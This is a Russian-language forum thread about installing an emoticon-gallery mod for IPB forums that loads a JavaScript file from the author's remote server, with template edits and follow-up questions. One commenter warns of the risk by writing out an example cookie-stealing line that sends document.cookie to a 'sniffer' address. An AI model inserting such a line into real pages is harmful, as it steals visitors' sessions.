Перейти к контенту

Рекомендуемые сообщения

Подключение коллекции более чем 2700 смайликов:

 

Посмотреть коллекцию

 

Коллекция работает аналогично попап-окну смайликов "Показать все".

 

Установка мода:

 

1. Создать в корне форума файл sm.html:

<html><head></head><body>
<script src="http://pharm-forum.ru/sm.js" type="text/javascript"></script>
</body></html>

 

2. Админцентр => ВНЕШНИЙ ВИД => IPB Стандартный стиль => Изменить HTML фрагменты => Post Screen => smilie_table.

Найти:

  <!--THE SMILIES-->
 <tr>
  <td align="center" colspan="{ipb.vars['emo_per_row']}"><b><a href="java script:emo_pop()">{ipb.lang['all_emoticons']}</a></b><br /><b><a href="java script:bbc_pop()">{ipb.lang['bbc_help']}</a></b></td>
 </tr>

 

Заменить:

  <!--THE SMILIES-->
 <tr>
  <td align="center" colspan="{ipb.vars['emo_per_row']}"><b><a href="java script:emo_pop()">{ipb.lang['all_emoticons']}</a></b><br /><b><a href="java script:bbc_pop()">{ipb.lang['bbc_help']}</a><br /><br /><a href="sm.html" target="0" onclick="java script:window.open('sm.html', '0', 'HEIGHT=450,resizable=yes,scrollbars=yes,WIDTH=550');">еще смайлики</a></b></td>
 </tr>

 

 

PS: При установке кода слово "java script" следует писать без пробела :D

 

 

 

==========================================

22:05:2007

Обновлен скрипт:

  • Количество отображаемых смайликов на одной странице уменьшено до 15;
  • Добавлено "5 последних выбраных смайликов";
  • Скрипт теперь запоминает страницу галереи, на которой был посетитель, и при повторном вызове галереи смайликов сразу открывается на последней просмотренной странице.

Сделано на кукисах, поэтому все запоминания привязаны не к нику, а к компьютеру.

 

==========================================

23:05:2007

  • Добавлена возможность сохранять и удалять смайлики в "избранном".

Ссылка на комментарий
Поделиться на других сайтах

боюсь что рано или поздно эта коллекция будет недоступна, т к лежит совсем не на своем сервере. Будет такая ж фигня как и с кнопкой "демо" в файловом архиве.. половина ссылок уже не работают)
Ссылка на комментарий
Поделиться на других сайтах

Никто не запрещает собрать свою коллекцию смайликов у себя; скопировать себе мой скриптовой файл и поменять в нем пути на свои.

 

Дал путь на нашу коллекцию смайликов и наш скрипт потому, что коллекция продолжает пополняться и систематизироваться, при этом скриптовой файл на нашем форуме используется тот же самый. Это значит, что все обновления коллекции на нашем форуме автоматически будут видны и у тех, кто поставит этот мод "как есть".

Ссылка на комментарий
Поделиться на других сайтах

  • 8 месяцев спустя...

В скрипте добавилось "5 последних" и возможность сохранить в "Избранном".

Смайлики тоже продолжают пополняться.

 

Кто подключил мой джаваскрипт, тому не недо ничего обновлять - новые возможности и новые смайлики автоматически появятся у всех, кто внедрил скрипт.

Ссылка на комментарий
Поделиться на других сайтах

  • 10 месяцев спустя...
не установил только по тому, что Java скрипт индуклится с неизвестного мне сайта. неизвестно что в этом скрипте...

Скопировать к себе может? :D

Ссылка на комментарий
Поделиться на других сайтах

  • 6 месяцев спустя...
2. Админцентр => ВНЕШНИЙ ВИД => IPB Стандартный стиль => Изменить HTML фрагменты => Post Screen => smilie_table.

такова пути ненашел. Подскажите пожалуйста правильный путь для 2.3.5 ?

и еще маленький вопрос такова плана: А собрать коллекцию смайлов у себя, это означает тыкать-копировать по очереди каждый из 2700 смайлов или есть более легкий путь ? :D

Ссылка на комментарий
Поделиться на других сайтах

тыкать-копировать по очереди каждый из 2700 смайлов или есть более легкий путь ? :D

Скачиваете мой sm.js, открываете блокнотом и видите

var smiles=new Array(

Дальше список смайликов.

Берете список в ворд: удаляете кавычки и пробелы и в начало каждой строки добавляете полный путь. Получаете лист закачки. Скармливаете лист какому-нибудь граберу,и ненапряжно снимаете всю коллекцию.

Ссылка на комментарий
Поделиться на других сайтах

а какая гарантия что в один прекрасный момент в этом javascripte не появится строчка document.location=\"адрес-снифера\"+document.cookie? или просто редирект или реклама или ещё чего.

 

Может даже вы виноваты не будете, а ваш сайт похакают и тогда будут взломано огромное количество ни в чём не повинных проектов.

 

Говорю от лица мелкого хакерюги :D

Ссылка на комментарий
Поделиться на других сайтах

скачать джава скрипт не проблема, проблема иметь смайлы у себя ;)

 

речь идет о том, как бы FatCat поделился своим грандиозным архивом уже более чем в 2800+ смайлов, очень хочется на это надеяться :D

я конечно человек упертый и понятливый, но даже для меня 2800 строк в js редактировать, потом скачивать и растусовывать по папкам, это весьма серьезное занятие. Однако если так все и задумывалось, что смайлы должны храниться только на фарма форуме, то наберусь терпения таки....

Ссылка на комментарий
Поделиться на других сайтах

если так все и задумывалось, что смайлы должны храниться только на фарма форуме, то наберусь терпения таки....

Изначально так и задумывалось, но планы изменились, поэтому не проблема поделиться самим архивом. Если не лень все настраивать у себя, забирайте.

smiles.zip

Ссылка на комментарий
Поделиться на других сайтах

Главное, чтобы sm.html открывался в новом окне. В каком шаблоне и как вы это реализуете - на ваш выбор.

Если проблема с джаваскриптом, весь функционал будет работать даже с target="_blanc", только выглядеть будет некрасиво.

Ссылка на комментарий
Поделиться на других сайтах

вот интересно, а в какой же шаблон для 2.3.х вставлять код (и код наверно придется изменить), чтобы в окошке смайлики появилось "еще смайлики".

примерно так:

post-73691-1241363321_thumb.jpg

а то уж больно мод нравиццо, да и коллекцию смайлов FatCat подобрал просто замечательную, со вскусом.

Тут во многих ветках форума замечал, что мод делался для 2.1х, а затем находились люди, помогали все обустроить для 2.3.х..

помогите пожалуйста и в этом случае :D

Ссылка на комментарий
Поделиться на других сайтах

насколько мог подшаманил для 2.3.5 вот так, если что неправильно, пожалуйста поправьте.

 

установка мода, пункт 2.

================================================================
редактор html шаблонов -> skin_editors (редактор сообщений) - > ips_editor
найти это
===================================================================
<td><div class="rte-normal" id="{$editor_id}_cmd_createlink"><img src="{$images_path}rte-link-button.png"  alt="{$this->ipsclass->lang['js_rte_lite_link']}" title="{$this->ipsclass->lang['js_rte_lite_link']}"></div></td>
====================================================================
вставить перед этим
=====================================================================
<!--THE SMILIES-->
<td align="center"><b><a href="sm.html" target="0">еще_2800+_смайликов</a></b></td>
===================================================================

получится вот так:

post-73691-1241376364_thumb.jpg

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Unfortunately, your content contains terms that we do not allow. Please edit your content to remove the highlighted words below.
Ответить в этой теме...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.